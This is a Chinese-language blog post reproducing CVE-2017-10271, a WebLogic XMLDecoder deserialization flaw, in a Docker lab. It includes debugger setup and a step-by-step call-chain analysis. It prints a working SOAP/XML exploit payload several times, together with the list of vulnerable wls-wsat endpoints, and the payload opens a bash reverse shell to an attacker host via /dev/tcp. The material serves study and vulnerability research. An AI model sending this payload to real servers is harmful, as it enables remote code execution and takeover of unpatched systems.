CVE-2017-10271复现

发布于 2021-07-14  8 次阅读


XMLDecoder 反序列化漏洞

影响版本:

Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.1.0

漏洞详情

WebLogic Server组件的WLS Security子组件存在安全漏洞。

环境搭建

教程

https://www.notion.so/CVE-2017-10271-738eb8f14b2b4e59ba0d63fe2a303031#c973e97fa489442a93315811f08cf190

docker compose up

访问127.0.0.1:7001/console

进入weblogic配置界面

//docker进入其命令行
docker exec -it e4a4cd55816f559927dc9ab98ef9e7a2de44fee83c37d3c5b4db732eac3768d9 sh

docker exec -it 90559a88512a9922dedecc98a312cf8017d9795888aa553519cc1d7917c7ede5 /bin/sh

开启远程调试

修改容器:/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 文件

修改docker yml配置文件,开放远程调试端口

docker容器重新启动一下,查看远程调试端口

docker cp命令保存源代码到本机

❯ docker cp cve-2017-10271_weblogic_1:/root/Oracle/Middleware/wlserver_10.3 ../../../WebLogic_jars
❯ docker cp cve-2017-10271_weblogic_1:/root/Oracle/Middleware/modules ../../../WebLogic_jars

用idea打开刚才存到本机的文件夹

添加lib和modules两个文件夹为库

添加remote远程调试,注意修改端口为8453

debug测试

连接成功

使用poc测试反弹shell

poc:

漏洞地址:

/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

Content-Type: text/xml

//post数据:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/攻击机ip/端口 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

分析poc

知识点:

xml的解析。

堆与栈,java方法。

https://www.notion.so/CVE-2017-10271-738eb8f14b2b4e59ba0d63fe2a303031#8fb10e7cbe394f15bfbf0769c36c1c25

war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。

war包中的文件按照一定目录结构来组织。根据其根目录下包含有html和jsp文件,或者包含有这两种文件的目录,另外还有WEB-INF目录。通常在WEB-INF目录下含有一个web.xml文件和一个classes目录,web.xml是这个应用的配置文件,而classes目录下则包含编译好的servlet类和jsp,或者servlet所依赖的其他类(如JavaBean)。通常这些所依赖的类也可以打包成jar包放在WEB-INF下的lib目录下。

一个WAR文件就是一个Web应用程序

根据返回的xml信息分析方法调用

链分析

根据poc路径得到,wls-wsat出现漏洞,在源码中搜索的到war包,并且查看web.xml配置信息。

能在request的返回xml信息中得到(如上图,由下到上分别是调用栈顺序),就是在servlet中的类调用后。

  1. weblogic.wsee.jaxws.workcontext.WorkContextServerTube中调用的processRequest方法
public NextAction processRequest(Packet var1) {
    this.isUseOldFormat = false;
//getMessage方法获得POST信息
    if (var1.getMessage() != null) {
        HeaderList var2 = var1.getMessage().getHeaders();
//getHeaders()获取键值对 #推测
        Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
        if (var3 != null) {
            this.readHeaderOld(var3);
            this.isUseOldFormat = true;
        }

        Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
        if (var4 != null) {
            this.readHeader(var4);
        }
    }

    return super.processRequest(var1);
}

调用链下一步是readHeaderOld方法,那么就是var3不为null,网上说var3是xml的头部解析,暂时就不深度去理解了,尝试过,看不懂

回头再继续一下处理后的数据:

var1: 

com.sun.xml.ws.api.message.Packet@4286ae77 Content: <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&amp; /dev/tcp/172.20.10.4/1 0>&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

2. weblogic.wsee.jaxws.workcontext.WorkContextTube中调用的readHeaderOld方法

protected void readHeaderOld(Header var1) {
    try {
        XMLStreamReader var2 = var1.readHeader();
        var2.nextTag();
        var2.nextTag();
        XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
        ByteArrayOutputStream var4 = new ByteArrayOutputStream();
        XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
        var3.bridge(var2, var5);
        var5.close();
        WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
        this.receive(var6);
    } catch (XMLStreamException var7) {
        throw new WebServiceException(var7);
    } catch (IOException var8) {
        throw new WebServiceException(var8);
    }
}

下一步调用receive方法,var6是被建立的WorkContextXmlInputAdapter示例。这个类内容如下:

public WorkContextXmlInputAdapter(InputStream var1) {
    this.xmlDecoder = new XMLDecoder(var1);
}

XMLDecoder将xml对象反序列化成map对象(Map,将键映射到值的对象)

而如果其xml内容包含可执行内容,在反序列化后会执行.

https://www.notion.so/CVE-2017-10271-738eb8f14b2b4e59ba0d63fe2a303031#d06d7c850fc04714a63d62759a588673

在readHeaderOld处理后:

var4:

<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&amp; /dev/tcp/172.20.10.4/1 0>&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>

3. weblogic.wsee.jaxws.workcontext.WorkContextSeverTube中调用的receive方法

通过子类实现receive方法

protected void receive(WorkContextInput var1) throws IOException {
    WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
    var2.receiveRequest(var1);
}

从这里开始,变量跟踪无法使用了T-T

4. weblogic.workarea.WorkContextMaplmpl中调用的receiveRequest方法

接口类

void receiveRequest(WorkContextInput var1) throws IOException;
public void receiveRequest(WorkContextInput var1) throws IOException {
    ((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
}

5. weblogic.workarea.WorkContextLocalMap中调用的receiveRequest方法

public void receiveRequest(WorkContextInput var1) throws IOException {
    while(true) {
        try {
            WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
            if (var2 == WorkContextEntry.NULL_CONTEXT) {
                return;
            }

            String var3 = var2.getName();
            this.map.put(var3, var2);
            if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
            }
        } catch (ClassNotFoundException var4) {
            if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest : ", var4);
            }
        }
    }
}

6. weblogic.workarea.spi.WorkContextEntryImpl中调用的readEntry方法

public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
    String var1 = var0.readUTF();
    return (WorkContextEntry)(var1.length() == 0 ?NULL_CONTEXT: new WorkContextEntryImpl(var1, var0));
}

7. weblogic.wsee.workarea.WorkContextXmlInputAdapter中调用的readUTF方法

public String readUTF() throws IOException {
    return (String)this.xmlDecoder.readObject();
}

整个链观察下来,确实没有对xml的数据进行任何过滤处理。

根本上是readObject()导致的反序列化触发rce漏洞

poc构成

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
<soapenv:Header>
<cxmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/攻击机ip/端口 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

外部就是一个简单的xml命名空间(被soap给骗了,和soap的Envelope不是一个东西)


间桐桜のお菓子屋さん